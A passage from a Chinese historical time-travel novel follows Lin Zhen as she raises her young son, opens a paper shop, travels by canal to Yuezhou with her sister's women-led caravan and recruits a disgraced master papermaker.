一朝穿越,好不容易奋斗成小康之家,怎会不想访名山古迹,体验一番这个时代的独特魅力呢? “平安从前没这麽黏人的。” 她突然道,似乎说起了另一件毫不相干的事儿来。 “族中在后山挖窯时,我随着进去盯着修烟道,在山里一待就是大半个月,他这才变成个黏人的崽子。” 山里的两口炭窯,都是林真盯着挖出来的。 山中多是槠树,能烧好炭;且林真最怕烧炭时引发山火。 如此,炭窑的地址就得好好选,且还要清隔离带和挖蓄水池,不亲自盯着,她着实不放心。 烧炭一事,是她一力促成,若是真有个万一,她这辈子都会难安。 不若前期辛苦些,亲自盯着,将该有的防范措施都一一落实到位,免得出事之后,追悔莫及。 可如此一来,大半个月见不着林真身影的平安崽子不幹了。 他在家里一连哭了好几日,谁都哄不住他。后来,更是啥都不幹了,天天蹲在门口盯着守着。 林真回家时,瞧见蹲在门口的平安,巨大的歉疚笼罩了她。 “我既选择生下平安,那就必得对平安负责。养小崽子麻烦得很,可不是给口饭吃就成,言传身教是第一,陪伴鼓励更是不可少。若是有得选,我定然不会在他还小的时候离开他。等他再长大一些,能晓事了,我應当能腾出手来,自会去探索一番。” 林真洒脱一笑,瞧着燕儿道。 “三五年麽,我等得起!在那之前,就先拜托咱们燕儿,先去探探路罢。” “阿姐……”燕儿瞧着林真,呐呐不能言。她早该晓得,她的长姐,就是如此有担当的人。 只要觉得是自个儿的责任,她扛起来后,便一定会去做,口中却从无怨言。 “娘亲,娘亲……” 林真望望燕儿,笑:“瞧瞧,背后果真是说不得人的。” 圆滾滾的平安崽子噔噔噔跑过来,在门口扒拉着门框,一个急刹。 很是讲礼貌的问道:“娘亲,姑姑,平安可以进来麽?” 林真无语望天:你都到门口了,扒拉着门框不放,小脖子伸得老长,这还用问? 燕儿捂着嘴笑,冲着平安招手:“哪能将咱们平安拒之门外呀!进来进来。” 平安一乐,将圆滚滚的自个儿塞进了娘亲与姑姑中间。 环抱住林真后,十分滿意自个儿位置的平安这才仰着头问:“娘亲,姑姑,在说何事呀?不能瞒着平安哦。” 他是真怕娘亲和姑姑一道睡,不带他呢! 林真搂着这个小黏人精,一顿搓揉:“是是是,甚都不瞒着我们平安。” 有这么一个崽,三年之内,她应当出不了远门的,不晓得四年后,能不能成? 不管能不能成的,今年是全家团圆的一个年,林家自是热闹非凡。 一車一車的东西往家里搬。 今年过年前,吳麽麽的繼子自然也提前来,做足了礼数,说要接了吳麽麽家去过年。 林真瞧着他,心中冷笑:还以为多沉得住气呢。去年才来,今年又来! 面上却很是淡然:“倒是不巧,今年事儿多,我这头倒是离不开麽麽。这样,且先教吴麽麽在我这头帮衬着,将年关过了。你赶着十五之前,再来接吴麽麽家去过元宵罢。” 又给人收拾了年礼给了赏钱,那继子才肯罢休。 出得门去,恰好遇见范三哥与盧老预备着要涮兔肉吃。 锅子咕嘟咕嘟冒香气儿,边上还温着酒,帘子一挂,说不出的暖和与惬意。 那继子教酒香和肉香勾得走不动道,舔着脸凑过去。 “哎呦呦,两位老哥哥这日子过得真是舒坦!这才晌午,就吃锅子喝酒,好不热闹。” 范三哥一笑,透着几分憨厚:“主家良善,也准俺们年节下松快松快。今日是大壮守门,咱哥倆这才托了吴麽麽给制了锅子来吃哩!” 盧老在一旁帮腔:“是咧!今儿我倆都无事,平日里,可不会这样饮酒误事的。” 那继子心中愈发不忿,原是听人说林家愈发发达了,他这才巴巴儿赶来。 今儿一大早,只胡乱吃了个蒸饼就来了。 一路赶来,没接着人不算,连饭都没留一顿!这俩认干亲的倒好,吃着锅子温着酒,那锅子还是他那便宜老娘制的! 哼!果真不是亲娘,也想不起来要留他吃顿饭! 此时,他倒是将车上的熏肉、风干鸡都忘了。 卢老和范三哥瞧着这人赖着不走,还有甚不晓得的,只得客气几句,邀人一道落座。 这人也是真不客气,一屁股坐下后竹箸便朝着肉去,还想喝酒。 卢老一把拦下:“哎呦,小兄弟待会儿还要赶车,可不好饮酒的!” 继子面上笑眯眯应下了,可趁着倆人不注意,还是偷摸着喝了几口,临走时,尤嫌不过瘾,又顺走了一瓶儿。 如此,才心满意足地哼着小曲儿赶车离去。 范三哥和卢老瞧着少了一瓶儿的酒,谁也没声张。 第97章 直至十五, 吴麽麽那继子也没出现。 林真还挺惊讶,雖这人是自个儿醉酒赶车,在大雪天里, 不甚摔断了腿。 可那头的親友族人竟没一人来问? 雖则林氏现今势大,可也显得忒不近人情了些。 林真嘀咕两句,也没教人特意去打听,只在家里陪着平安和燕儿。 前者还是小黏人精, 但凡她与燕儿待的时间久了, 必要往西跨院儿这头跑。 也不管自个儿能不能听懂, 将软乎乎的小身子往娘親怀里一塞,也不吵闹,自个儿带着布老虎或九连环,便能玩儿得津津有味。 林真曉得他现在的黏人是为何, 也不在此时纠正他。只等着开春,借着燕儿出门又歸家的锲机, 再来好生教导平安。 至于此时, 就先教这崽子再当几天黏人精罢。 相聚的日子總是短暂的, 一晃眼儿,众人身上换了夹袄, 也到了西山道长算出来的吉日。 到了燕儿动身的时候了。 这日, 果然天朗气清, 微风習習。 林家众人都来相送, 杨旭也来了。 此次西行至越州,由申娘子親自带隊。 杨旭是来送他娘的, 可杨家只他来了,申家更是一个人影儿都不见。 杨旭垂头丧气,林真装作看不见的样子。 只殷殷叮嘱申娘子和燕儿保全自身:“此行, 只为探路,平安歸来便是大善!至于其他的,都是小事儿。” 申娘子一笑,说不出的洒脱与明媚:“这可不成,我親自带隊,若是无功而返,岂不是要被笑话?” 杨旭更郁闷了,他张口,半天才道:“娘,路上小心。” 申娘子看他一眼,拍了拍儿子的肩,不发一言,大步离去。 林真想溜,可还是教杨旭挡住,他一脸烦闷。 “我有诸多事情不明,还请林掌柜留步,指点迷津。” 开溜不成的林真只得停下,扯出笑容道:“好说,好说。” “我就不明白,我娘放着好好儿的日子不过,为何非要折騰?”杨旭显然憋了一肚子的牢骚。 “她从前喜欢舞刀弄枪,家里人便随了她,教她在武馆里教人。这还不好麽?非要出去,还折騰甚女子镖师!習武本就所耗颇大,女子习武又天生比男子差些,折腾恁久,账上还是入不敷出,现下居然自个儿都要出去奔波劳累!折腾这一出,不仅父亲不滿,连带着外祖与舅舅也颇有微词!我实在不懂,就在家里好好儿的,不成麽?” 林真没回答他,只问:“那你觉着,申娘子是现在开心,还是从前开心?至于令尊,从前申娘子在武馆的时候,也不见得他多滿意罢?还有申家人,杨娘子挑选的小孩儿可是为商队省去了大麻烦,他们有何不满的?怎的?非要教申娘子待在家里,杨家和申家才能得到安宁? 这两家的安宁都系在申娘子一人身上,也是怪事一桩。” 杨旭被林真一顿抢白,偏偏他还真不好如何反驳。 娘,自然是现在更舒坦,每日瞧着都是神采奕奕;至于爹,爹娘自来便不睦,多这一出也不算甚;最后,商队里的孩子是跑商路上,队伍里露水情缘留下来的,教人找上门来,不得不收,娘这一出,确实是为商队解决了一项大麻烦。 见杨旭说不出话来,林真背着手,道:“成了,杨大公子,你今年冬月便要娶妻的人了。你是大人了,难不成还离不开娘亲?” 你又不是平安崽子,不对,现今平安崽子也能稍稍离得娘亲了。 林真甩着袖子走了,她今儿没去巡店,反直直回了家里。 平安崽子这几日有些不大舒坦,吃了好几日的汤药了,今儿还要去岑大夫那头扎针。 若是没她陪着,这小崽子怕是要闹的。 唉,小孩子生病,瞧着就可怜兮兮的,着实教人心疼。 可没两日,林真便不这么想了。 “娘亲,你今日晚了一会会儿。”平安崽子板着小脸,很是严肃。 “是是,娘亲不好。今儿便多教你一个字儿罢?” 平安这才满意点头,放过了林真迟到一事。 是,这崽子已不满足于捏着炭条儿胡乱涂抹了,也不知怎的,竟教他发觉老宅子那头的姐姐们,似乎不是在乱画。 有天,他仗着自个年纪小,没人拦,哒哒哒跑过去,问人家在作甚? 人么,都是好为人师的,更遑论刚好学会认字写字的小孩儿? 那孩子,甜甜一笑:“我们在学认字儿啊。将来好赚钱买饴糖吃呢!” 饴糖两字儿,已教最近被限制零嘴儿的平安崽子颇为向往。 更别说,那小孩儿还很是热心肠地教平安写了‘林’字儿。 “这是咱们的姓氏呢!平安也姓林!” “嗯?那我娘亲呢?爹爹呢?” “真嫂子自然也姓林。嗯,‘賀’太难了,我还没学会呢。” 好么,这一下,彻底点燃了平安崽子的向学之心。 等他学会写斗大的‘林’字,家去一通显摆,受到了全家人的大力夸赞,林屠戶一高兴,还悄悄摸了蜜煎金橘给他吃! 会写字=有糖吃! 这个等式在平安崽子的心里彻底烙下印记来,是以,这崽子的学习熱情空前高涨。 即便林真发觉后,及时纠正她屠戶爹偷摸给人吃蜜饯点心的小动作,可平安崽子认字的熱情依旧不减。 糖没了,可夸夸还在呀!而且,阿爷会给他铜子儿! 直至今日,已然演变成,平安崽子每日追着林真学认字儿了! 还是要定时的那种,时间麽,与学堂的早课一致,辰时二刻,比前世的早八还提前了半小时! 可小孩儿的学习心态是好的,不止不能打击,还得小心呵护。 林真只得认命:赖床一事,彻底离她远去了。 夹袄换春衫,燕儿带回来的两株橘子树,吐露花苞时,燕儿也顺利归家了。 向外采買貨物一事,早在去泗水县買鱼苗时,林真就萌生了这个念头。 计划书写了不少,又有申娘子的鼎力相助,再有燕儿和秋英俩熟手,做足了准备,自然一路顺风。 燕儿次番,带回了大量的纸张。 会稽纸,是林真与燕儿定下来的主要貨物,她预备着,要开个文作鋪子。 这世间,雖都是开鋪子作买賣,可也得教人分出个三六九等来。 眼见着此处是‘万般皆下品,惟有读书高’的时代,林真也不能免俗地,想教自家崽子走读书科举的路子。 有没有天份另说,可總得要先试。 读书入仕,自然要顾及着名声和出身。 出身已然不能选,那林真便选择开家文作鋪子。教人往后也曉得,林家是耕读之家,又还经营着一间文作鋪子。 说出去,总比从前旁人唤她屠户女,要好听些罢? 虽不指着新铺子挣钱,可总不能亏钱开铺子罢? 是以,林真虽还搜罗了不少便宜的草纸、竹纸放在铺子里賣,可也托了燕儿去买会稽纸。 且对比了两处纸张的价格后,又采买了麻纸、藤纸和罗纹纸在铺子里售卖。 如此,一间专营中低等价位纸张的文作铺子,便悄悄开了起来。 而燕儿的后续任务,便是去搜笔、墨、砚,来继续充盈这间小小的文作铺子。 在一趟趟的行程中,燕儿还会捎带一些适宜放在杂货铺子里头售卖的香油、大酱之类的外地吃食。 杂货铺每每上新,倒是都能引得一些喜凑热闹又贪新鲜的客人前来。 春衫换夏衫,冬去又春来,院儿里的白墙不晓得重刷了多少次。 橘子树终于挂了果,林真尝了,这回总算是甜的了。 而长高了一大截儿的平安崽子,也到了上学的时候。 平安崽子虽是五歲上学,比旁人小一歲,可他遗传了爹娘的大高个儿,在一堆儿比他大的小莱菔里,倒是显得挺大只的。 林真半蹲着,给平安理了理衣襟,道:“乖,去了学堂,可得好好儿听先生的话啊。” 平安点点头,道:“孩儿晓得了,娘亲、爹爹和阿爷阿奶无须忧心。” 这崽子,过了那段小黏人精的日子,似乎瞬间长大,成了一副少言端正的模样。 林真叹气,也不晓得是随了谁? 扭头瞧着身后的一大家子,更是想叹气。 “走罢,就在族学里上课,还能出甚事儿不成?咱家去等着,到了时辰来接就是了。” 林屠户率先摆摆手:“你自家去,不肖管我。我们平安头回上学,我得再瞧瞧,他若是想家了哭鼻子了,可如何是好?” 苗娘子也不动,也是一副要等着的模样:“先前听说头回上学的孩子,多有想家哭闹的,我也多等等。” 林真偏头瞧里面的小崽子,已然是全副心神都扑在面前的小桌子、小毛笔和书本上,压根儿没见一丝不适和伤心。 也是,这崽子可是廖夫子亲自叮嘱提前送入学堂的,还想教平安崽子直接入他亲自负責的甲字班。 没错,林氏族学经过几年发展,已分为三个班。 只有几个人的科举班不说了;启蒙便分为甲字班和乙字班,前者由廖夫子负責,教导有些基础的蒙童;后者由族里的童生负责,才是真正的启蒙班。 林真想了想,还是婉拒了廖夫子的好意,平安虽从三岁便开始认字儿,常用字是难不倒他的。 可她还是更愿意教这孩子与同龄人先一道儿学习。 读书不是一日之功,将来读书的日子还长着,没必要教这崽子初初入学就绷得紧紧的,要是厌学了可怎生是好? 那她前头两年,无数次被平安问得快维持不住慈母形象,受得那些苦,算甚? 且她相信乙字班的小先生,会瞧着情况,私下给平安加练的。 毕竟,乙字班的小先生,与她有缘。 她与他有几分恩情,能小小的‘挟恩索报’一下。 第98章 乙字班的小先生, 就是当年族中颇为看好的好苗子,林弘川。 他也没辜负族中的期望,十五岁的童生, 在这十里八乡,算得上是独一份儿了。 这孩子知恩又有分寸,连着考了两回院试,算了一番花销后, 便不愿再考。 这两年林氏族人烧炭卖炭, 日子着实好过了不少, 且他这样的好苗子,族里是负担了一半讀书考试的费用的。 族长初闻,自是不愿。 只他执拗,不肯教妹妹合香炭来供他讀书, 多番恳求,准许他来族学担任幼童的启蒙先生。 族长本是不同意, 还说出可由他自个儿出资, 供其读书。 “族长厚爱, 小子实在惶恐。然,族长乃一族之公器, 非小子一人之私亲, 厚此薄彼, 恐失公允。且小子寒窗七载, 所耗紙墨衣食,皆赖亲族哺育;小子视之, 一笔一紙,半缕半丝,皆非己力所出。每思于此, 夙夜难安。今幸得一薄名,算入门径,小子愿以微力自食,还望族长成全!” 林真倒是觉着这孩子有志气,私下问过廖夫子。晓得林弘川学问扎实,若无意外,继续勤勉苦读,取得秀才之名是早晚的事。 林真便猜测:这孩子,莫不是压力太大,以至患得患失,在考场没发挥好? 如此,还不如遂了他的愿,教其自食其力。 去了心病,说不得,下回就中了。 且院试三年两次,明年轮空,便先教他带带蒙童班,也教廖夫子能腾出手来,将精力多放在科举班的那几名学生身上。 林真先后去寻了族长和廖夫子,劝得两人松口。 且又晓得林弘川这孩子心思重些,私下托了他照看平安:“平安年岁小些,入学后还请小先生多看顾一二。若是他捣乱不听话,你尽管训斥,摸教他扰了你教书。” 如此,也算是教林弘川还了这份儿情。 可现下瞧着在里头坐得格外端正的平安大崽。 嗯,这崽子,想来是不会被训斥的。 瞧见还抻着脖子在门口张望的林屠户和苗娘子,林真搖搖头,与贺景先走了。 二人家去后,直接驾着騾车进縣里去。进了縣城又分开,贺景去杂貨鋪和鲜鱼菜行那头盘賬帮忙,林真自个儿往开在修义坊那头的文作鋪子里去。 鋪子原先只卖纸的时候,需林真花心思打貨架、置摆件,好生拾掇才能不显得空荡荡冷清清。 可如今鋪子里先后添了毛笔、墨條和砚台后,倒是显得有些拥挤。 林真笑眯眯与隔壁油燭铺的掌櫃打招呼。 掌櫃也笑呵呵回礼,又瞅着铺子没甚人的时候凑过去:“林掌櫃,你这铺子着实小了些,甚时候拿下隔壁的裝裱作呀?” 隔壁是家小小的裝裱铺子,在此处开铺子的,都是走经济实惠的路子。是以,那装裱铺子里,多是接装裱诗画和修复书籍的活计,没有那甚描金漆器。 如此,店里就父子俩外带一小学徒。 林真刚来此处开文作铺子的时候,因着店里的罗纹纸质量过关还便宜,倒是与那老爷子打了不少交道。自也晓得,那铺子,全靠老爷子的手艺撑着。 如今老爷子一去,手艺不到家的年輕掌櫃,自然撑不下去。 勉力支撑了半年,前些日子放出话去,要将铺子赁出去,带着家人回村。 林真笑笑:“哎呦,我是没谈下来的,若是您去谈,许是能成罷?” 那铺子就在文作铺子和油燭铺中间,这头的铺子多是小巧,两人也有心赁了铺子扩一扩门面。 唯一的问题是,这年輕掌柜要的赁錢过于昂贵了些。 修义坊与县学所在的崇德、怀仁两坊相距不算远,可他们这铺子都在巷子尾巴上了,一月五贯的赁錢,不说狮子大开口,那也是坐地起價。 她现在手头上这铺子,一月赁錢才三贯呢! 油燭掌柜摆摆手:“哎呦呦,老朽可不去,没得碰一鼻子灰哩。您瞧着罷,现是他傲气,再撑倆月,便再傲不起来咯。” 举家在县里住着,全靠着一间铺子吃饭,可县里一针一线都要钱,失了营生,哪里是恁好待的呢? 林真没顺着油烛掌柜的话说,只请他帮着包两包黄烛和一包白烛来。 现今家里营生多,光是賬本都好几本,白日事儿也多,少不得夜里要理理账本子。 如此,烛火的消耗就大了些,时不时就需要补货。 油烛掌柜很是高兴,他那铺子里头,多是卖灯油,少有买蜡烛的。林真这一笔买卖,对他来说,着实是笔大买卖。 人不止亲自给包好了送来,还又额外送了半斤灯油。 “晓得林掌柜多是用烛,也不缺这一点子灯油,便当个添头,若是夜里起身,也不必浪费白蜡不是。” 两人的这番交谈自是落在中间装裱铺子的年轻掌柜眼里。 瞧着倆人多熟络的样子,他疑心起来:莫不是这俩早早通气了,都压着價,才教他这铺子不好往外赁?哼!等着罢,他定要将铺子赁给卖油烛或文作的掌柜! “阿姐,真要再赁一间铺子呀?”等油烛掌柜走了,燕儿问道。 “不赁。”林真摇摇头,“咱现在这铺子挺好,虽有些打挤,可咱将东西都收一收,只摆出样品来,教人晓得咱铺子有这些东西便成。如此,能腾些地头出来,铺子里只肖一人便可看顾得过来,倒是正正好。” 先前是她着相了,总想着扩大地盘,可前些日子盘账时,才发觉,家里的进账已是吓人。 单是杂货铺那头,就有腐竹、腐乳、豆幹、蒟蒻豆腐和葛根粉这些紧俏货,还有香醋和时不时出现的昆布、黄鱼鲞等新鲜吃食;夏日有熝肉铺子,冬日有熏肉、风幹鸡和腊肠;菜行那头的鱼虾鳝鱼和鲜菜利润也是不低。 至于鲜肉铺子,她虽已没抽成了,全交与她屠户爹和沈山平。可她往铺子里卖鸡鸭兔儿啥的,也是能赚些辛苦费的。 哦,还有田地,这些年,她陆陆续续又买了些地,因着粮食够吃,她便教范三哥多种油菜和花生这类经济作物,往油坊里拉去,又是一笔钱。 林林总总算下来,着实不是一般挣钱。 更别说,她还有合香炭的那一笔呢! 便是如今这不算赚钱的文作铺子,因着东西实惠,且时不时低价出售微瑕品(泛黄的纸张,有些刮花的墨條等),居然也教她经营得有声有色。 如此,她已是很满意了。 是以,在听见西市那头的铺子又出幺蛾子后,她也能心平气和的想法子解决此事。 “既古掌柜执意要见了我,才肯给赁钱。那便劳烦包经纪从中传个话,明日在王妈妈家茶肆一见罢。” 翌日,包三哥先至茶肆,林真后到,而现今赁着西市铺子的古掌柜,是最后才到的。 “哈哈,惭愧惭愧,古某今日出门耽搁些许,倒是教林掌柜和包经纪好等。” 古掌柜是一高瘦的中年男子,戴逍遥巾,鬓边簪花,又蓄着长髯,端得是一副文人打扮。此时进门便先朗声致歉,瞧着倒是十分好相处。 林真笑笑,似乎毫不在意:“不打紧。也不晓得古掌柜赁那铺子,可是有甚不顺心的?非要见了我才肯说?” 从前这人缴租子是很勤快的,提前半月便备好;后来,许是打听出来了,林真与慈溪林家,是半分干系也无,便开始作妖。先是哭穷,将三年起租的规矩该成一年,后头缴租子更是得催。 现在,又是不晓得要出甚幺蛾子。 “哎呦,西市的铺子,哪能挑剔不好呀!”古掌柜打哈哈,半点不提正经事儿。 林真逐渐不难烦:“古掌柜挺闲,我倒是挺忙的。待会儿还得去威远镖局一趟,您若是无事,我便先告辞。左右,今日也就挪了半个时辰来见您,原以为古掌柜快人快语好说话,不想,倒是没谈出个甚结果来。” 林真瞧着时间差不多了,直接起身。 古掌柜面色不好看,赶紧来拦,可又不敢真去拉扯林真。他也打听得,这林掌柜与申家那嫁去杨典史家的女儿关系匪浅,倒是不敢真拦着。 只嘟囔着说出此行目的。 林真挑眉:“成啊,那铺子我早有出手的打算,托了包经纪全权处理。如此,古掌柜便与包经纪慢慢儿聊罢。不过您得快些做决定,我已放出要出手的消息了。竞争应当挺大的,毕竟,是西市的铺子嘛。” 林真说完,也不给古掌柜反应的时间,直接挑开竹帘出门去。 她是真要寻申娘子。 不日,林真便要出采买纸笔墨条,哪有时间在这儿与人干耗着? “甚?你竟舍得要卖了那铺子?”古掌柜惊呼出声,声调尖利,瞧见林真出门去,扯着嗓子在后头喊。 “留步,留步,还请林掌柜留步啊!” 林真懒搭理他,径自出门去。 瞧着天儿实在热,还唤了辆藏青色的,带着油帐棚顶儿的騾车来。 这算是慈溪的出租车,挂着大铃铛和统一的木牌子,便晓得这是车马行那头出来的正经车。 带顶儿的骡车多半只用来拉人,若是驴车,则是货和人都拉,自然,还有双人抬的轿子。 林真坐不惯轿子,若是在城中行走,自家又没赶车来,她多半是唤了骡车来。 “往威远镖局去,就我一人,给八个子儿可成?” 车夫一听这价,就晓得这年轻娘子是懂行情的人,也不多磨价,爽快点头。 他利索放下木质的条凳来,又压下车辕,道:“您小心脚下。” 等古掌柜追出来时,林真早坐着骡车走远了。 第99章 浙東运河是大虞朝重要的水路, 虽不比大运河的核心河段,可各路船只也不少。 宽广的河面上,大小船只穿行其间, 東来西去,帆声颯颯。 林真搭乘的这艘船是二层的漕船,长七丈、宽近二丈,这样的大船, 自然是官船。 她运道不错, 借着杨典史的光, 在此處能占得一小块儿地头。 二层船,住處条件已是好了不少,货物与人彻底分开,底层是货舱, 上层住人。 可住人的船舱也有讲究,靠后的清靜客舱自然由官员豪商占据, 林真众人, 只得了前舱居住。 白日还好, 可夜里一靜下来,河段和甲板上的动静便被无限放大。 河水哗哗, 不斷冲撞船身;船工们的走动声、吆喝声, 一一入耳。林真翻来覆去睡不踏实, 恍惚间, 她似乎听见了风吹船帆的飒飒声。 头更疼了。 翌日,秋英瞧着林真眼下的青黑, 出言打趣道。 “林娘子头次出来,坐不惯船罢?适應一二就好,我头回跟着燕姐儿出门时, 也是教这摇晃不停的船折腾得不清,晕船不说,还吃不惯着船上的腌鱼炖鱼。幸而仇娘子准备充分,备下的盐渍梅子和姜糖丝可缓解一二。可我这人,记吃不记打,一旦习惯之后,现下是巴不得往外跑咧!” 林真有些不好意思:“燕儿也备了这些东西,只我不是晕船,是夜里的动静搅得我睡不着。” “哎呦!那林娘子可得尽快适應,咱这回运道好,去时乘的是两层官船;回时怕是没这么凑巧,若是一层的平底船,那动静才大哩!”秋英道。 “唉,我尽量。”林真叹道,“可真真是不容易,还以为水路好走些,哪里能想到竟是这般。这么些年,燕儿和诸位都辛苦了。等咱到了地头,我做东,先请诸位好生吃一顿才成呢!” 这回时间充足,且林真还打着别的主意,那也是水磨的功夫,可急不得。 船只一路疾行,未有停靠,第七日的一早,便能遥遥望着越州城巍峨的城门。 排队过堰进城时,因着是官船,得以优先入城。 林真瞧着城外大大小小等待入城的船只,虽庆幸,可也又一次察觉到此时阶层的顽固和分明。 入得城去,林真等人差不多是最后一批下船的,幸而来时是轻装简行,未时末,便得以进城。 秋英熟门熟路地帶着众人尋到常住的小院儿。 “这一片儿多是外来商队住宿的地头,这边儿的客栈不似尋常客栈,通常是住宿和库房連在一處,咱包下一进院子来,将门一锁,留两人守着货物便成。到不似其他地方,需要绷着心神盯着货物。” 林真仔细打量,还真是。 条长的院子,周围都严严实实砌着高墙,墙上还插着一排的荆棘条子,进出只有一道结实的木门。里头六间房,两间库房,四间客房,整好能住下一支十来人的小型商队。 林真不禁赞道:“当真是好巧思,不愧是占据重要水道,迎来送往的越州城。” 小夥计很是自豪,笑着接话:“娘子好眼力!咱越州大小河流不知几何,能行万石船的大渡口便有一處,其余大小码头更是多,南货北货甚至海上来的稀罕货都有,您往这儿来,真是来对咯!” “那,此处如此繁华,屋宅的售價,怕是不低罢?” “哎呦呦,那可是不得了!赊卖成风,可一家老小劳作至死也不见得能買上一处好屋宅。许多人一辈子都是赁了宅子来住哩!”说道此处,小夥计不禁大倒苦水。 又说誰家好不容易凑够了赊卖钱(首付款),可剩下的地券却是付不起,若是一朝借下印子钱,更是还不起,不仅房屋被收了去,还連累得儿女认干親当人力女使。 果然!林真点头,这样的事儿,在越州只多不少。 摸出钱来谢过小伙计,又唤他多提几桶热水来,好教商队众人都梳洗一番。 休整一番后,又帶着众人好生吃喝一顿,疲惫尽消后,才着手采買事项。 这几年一直跑这条线,已有了固定的合作商,林真一个个寻过去,她曉得市價,人又都是熟客,倒是没多废功夫便将此行要买的紙墨毛笔都采买齐全了。 这日,商队一镖师来回话:“掌柜的,您先前教我去城南寻的那人,终于松口了,说是愿意与您一见。” “哦,我还当他真那么犟呢。”林真叮嘱秋英盯着装货,自个儿带着人去往城南去。 “如何,您可是考虑清楚了?愿意同我往慈溪安家?” 破败的小院儿,纸槽、纸帘扔了一地,味儿也不好闻,沤料池子就在院儿里,散发着一股子腐败又陈旧的味道。 林真着实有些受不住这股味儿,也不乐意多寒暄,三顾茅庐以礼相待之事,燕儿已然做足了。她这回来,也是先做足了礼數的,可此人还是一副臭脾气。 既如此,她不如直接些得好。 “先前我家小掌柜开的条件还作數,您若是想明白了,便抓紧时间告知親友,收拾行李。天时不待人,我雇的商船,两日后便要出发了。” “呵呵,亲友,您瞧瞧,老头子我,哪里还有亲友可告?”嘶哑的声音意味不明。 院子里一动不动的老者抬起头来打量林真:“你便是那小娘子口中的长姐?那小娘子怎不来,越州城内,不是还有一桩好姻缘等着她麽?” 林真面色一冷,不客气道:“您这一把年纪是真白活了,张口闭口便是女子亲事!怎的?你改行了?造紙匠人改当媒人了?如此多舌?” 要不是燕儿说此人造紙技术颇为高超,且遭逢巨变难免古怪,就这句话,她都懒得搭理这老头。 老头姓毕,原是越州城内有名的造紙匠人,能制正宗会稽纸的匠人没几个,他算一位。 越州辖内,造纸业发达,纸坊多如牛毛,每年产出的纸张不计其数,又颇负盛名,不斷吸引着往来的商人将这里的销向各地。 久而久之,外头便将越州造出来的纸,通通都唤做是会稽纸。 如今的会稽纸,指代的就是会稽产的纸。 可稍稍懂行的人,会曉得,会稽纸应当是指会稽竹纸,诸如楮皮纸、桑皮纸之类的纸张,是不如会稽产的竹纸;更懂行的,便曉得,会稽纸,是专专指代一种纸。 这纸,历史悠久,在越州还不叫越州,唤会稽的时候,便有的了。 正宗的会稽纸,以嫩竹为料,成品自带竖纹,纸面光滑且经砑光处理,书写时墨迹清晰、不易渗透;兼之纤维细腻、质地坚韧易保存,乃是当时文人墨客的首选。 别看这老头现在瞧着很是落魄,可因着这一手会制正宗会稽纸的绝活儿,原先的日子很是风光。 即便是城南,可越州的房价摆在这儿,能在此处置办下一小小纸坊来,可见其能耐。 可如今,他即便手艺还在,可教制纸行会逐出来,整个儿越州城内,怕是没人愿意在他这头采买竹纸。 更别说,他现在,造不出正宗的会稽纸了。 林真的眼神落在老头的手上,他双手胡乱用纱布包着,可漏出来的一截儿小指,还是能瞧见不正常的弯曲。 他的小指被砸断了。 想到此人遭遇,又晓得他这手是自个儿砸断的,林真心中一叹,语气软和了几分。 “您在此处,怕是连吃饭都艰难。如此,倒是不如随了我远走他乡,两日后,卯正,伏波滩码头,我只能等您两刻钟。” 林真说完转身便要走。 “等等!城内的邱家是有名儿的大户,不止有纸坊,还进了印刷行业,手底下,刻工无数,便是连州府的生意也揽得。这样的人家求娶你家妹子,你为何不同意?” 老者踉跄起身,后头几句,几乎是挣扎着喊出来的。 林真转过身来:“齐大非偶,这样的人家我林家小门小户的,高攀不起。再说了,我家在慈溪,我家妹子,不远嫁!” 呸! 甚么邱家,先是瞧上燕儿做事利索,人品相貌无一不好;又打听得燕儿是仇娘子的关门弟子,这才舍了家中小儿求娶燕儿。 哼,邱家人丁如此兴旺,誰晓得那邱家行七的小子,是谁肚子里出来的? 这样的人家,又是远嫁,她如何会应。 邱家找上门来的媒人,她已然是一口拒了;前些日子邱家人晓得她来此处,又着人来请,她照样拒绝。 幸而邱家晓得燕儿与仇娘子一直有书信往来,心中有所忌惮,且两家相隔甚远,到底没撕破脸皮。 可往后,这越州城,燕儿怕是来不得了。 林真瞧着老头,下猛药:“您老仔细考虑,林家的人品行事您应当能瞧出几分。且为着那劳什子邱家,往后,这越州城,我林家怕是要少来。” 说完,林真再不停留,大步离去。 两日后便要启程,她忙着呢!且这老头现下还不是林家人,她没空在这儿给人心理辅导。 “不远嫁,不远嫁……” 老者喃喃自语,一行浑浊的泪,顺着他苍老的面庞流下来,滴落在黄泥里,消失不见—— 作者有话说:哈哈,越州的房价参考了一下汴京的 贴一下苏轼大大的吐槽 “我老未有宅,诸子以为言。谁知京师居,百万买一椽。” 第100章 卯初的伏波滩码头已是人头攒动, 人声鼎沸。 好在林真一行人来得早,全是女子的商队又夠显眼,畢老没废甚功夫就找着了人。 林真瞧见人, 大大方方塞了一张饼子过去:“没吃饭罷?我们也是,一大早就搁这儿排队了。您先吃两口垫吧垫吧,水囊有麽?” 畢老被这一下搞得还挺懵,此时听了林真的话, 点点头道:“老头子出过远门的, 不用特意关照。” 林真瞧他, 决定实话实说:“您这风一吹就倒的样子,我怕您真倒了。届时还得分个人手照顾您,现忙着抢位置上貨呢,且顾不上您。” 她指了指河面上一搜平底船:“您仔细瞧瞧, 从这头数过去,第六艘平底船就是我们要搭乘的船, 若是被挤开了, 别慌, 先上船去。路引可带了?” 越州的渡口,即便多是民间小型船只停靠的码头, 也设了关卡稽查。 不止人要查, 貨物也要查, 且查货还要更严格一些, 干系到缴税麽,林真理解。且十分熟练的在渡口津吏核查公验时, 借着公凭和路引的遮掩,递上一角碎银。 接过碎银的津吏虽还是耷拉着一张马脸,却开口唤道:“兄弟们, 仔细着些。” 翻检的胥吏,在听见这句话后,手上动作霎时放轻了許多。 林真满意了,这渡口只认錢不认人挺好的。不像另外的渡口,瞧着全是女子便有偏见,光会收錢却不办事儿! 船只扬帆启程时,已过巳初。 好在一切顺利,顺风不过五日,船和人便都平安抵达慈溪。 这便是春末夏初后走水路的好处,不用换乘,不用中转。 若是初春河道干涸或冬日水面被冻上,都只能先至明州,再从明州转陆路至慈溪。 不过,现今成功将畢老薅回来,往后便不用往越州去了。 文作铺子主打卖紙,其余的筆、墨、砚不过是捎带手卖出一些。这几样若要进货,往明州城去便好。离得又近,无论是水路还是陆路,一两日便可抵达。 说真的,去了一趟越州后,林真发覺自个儿也没那麽喜欢往外跑了。 此时的交通工具,家境一般又能出远门的,都是狠人。 她这小身板儿,算了罷,扛不住。 到了慈溪,又紧跟着将采买的这批货物查验入库后,林真在秋英带来的单子上签字,结算了此次的佣金。 直至此时,才能稍稍坐下来喝盏茶歇一会儿子,林真缓过气来便去寻畢老。 